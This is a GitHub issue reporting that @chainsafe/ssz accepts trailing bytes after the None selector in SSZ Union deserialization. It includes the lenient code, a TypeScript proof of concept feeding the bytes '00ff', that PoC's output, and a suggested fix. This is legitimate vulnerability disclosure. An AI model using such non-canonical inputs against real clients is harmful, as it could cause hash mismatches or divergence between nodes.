Skip to content

SSZ Union Deserialization Vulnerable to Trailing Data for Certain Variants #507

@trackoor

Description

@trackoor

Describe the bug

When the None variant (selector 0x00) is selected, the payload should be strictly zero-length. Vulnerable implementations may parse the selector, then ignore any trailing bytes in the payload, leading to hash mismatches.

Expected behavior

The value_deserializeFromBytes method for NoneType should be updated to strictly assert that _data (specifically the range start to end) contains no bytes. If end - start is not 0, it should throw an error.

Steps to Reproduce

The value_deserializeFromBytes method for NoneType in /packages/ssz/src/type/none.ts ignores any trailing bytes when the selector is 0x00:

  value_deserializeFromBytes(_data: ByteViews, _start: number): null {
    return null;
  }

PoC

import { NoneType, UintNumberType, UnionType } from "@chainsafe/ssz";

// Define a simple Union type: Union[None, Uint8]
// Selector 0 for NoneType, Selector 1 for Uint8
const noneType = new NoneType(); // Fixed: Removed redundant 'new'
const uint8Type = new UintNumberType(1); // Represents a uint8
const customUnionType = new UnionType([noneType, uint8Type]);

// --- PoC for Dirty Tail on None ---
// Goal: Demonstrate that @chainsafe/ssz deserializes a Union type
// with selector 0 (None) and unexpected trailing data without error.

console.log("--- Lodestar (chainsafe/ssz) PoC: Dirty Tail on None ---");

// 1. Construct a dirty input
// Selector 0x00 for NoneType, followed by a dirty byte 0xFF
const dirtyBytes = Buffer.from("00ff", "hex");

console.log(`Attempting to deserialize dirty bytes: ${dirtyBytes.toString('hex')}`);

try {
  const deserialized = customUnionType.deserialize(dirtyBytes);

  // If we reach here, deserialization was successful.
  // Check if it's the None variant as expected.
  if (deserialized.selector === 0 && deserialized.value === null) {
    console.log("SUCCESS: Deserialized to None variant as expected.");
    console.log("VULNERABILITY CONFIRMED: @chainsafe/ssz accepts dirty tail on None variant.");
    console.log(`Deserialized value: Selector ${deserialized.selector}, Value: ${deserialized.value}`);
  } else {
    console.error("FAILURE: Deserialized to an unexpected value. PoC logic might need adjustment.");
    console.error(`Deserialized value: Selector ${deserialized.selector}, Value: ${deserialized.value}`);
  }
} catch (error: any) {
  // If an error is thrown, it means the client correctly rejected the dirty input.
  console.log(`Client correctly rejected dirty bytes. Not vulnerable. Error: ${error.message}`);
}

console.log("--- PoC End ---");

Output:

--- Lodestar (chainsafe/ssz) PoC: Dirty Tail on None ---
Attempting to deserialize dirty bytes: 00ff
SUCCESS: Deserialized to None variant as expected.
VULNERABILITY CONFIRMED: @chainsafe/ssz accepts dirty tail on None variant.
Deserialized value: Selector 0, Value: null
--- PoC End ---

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions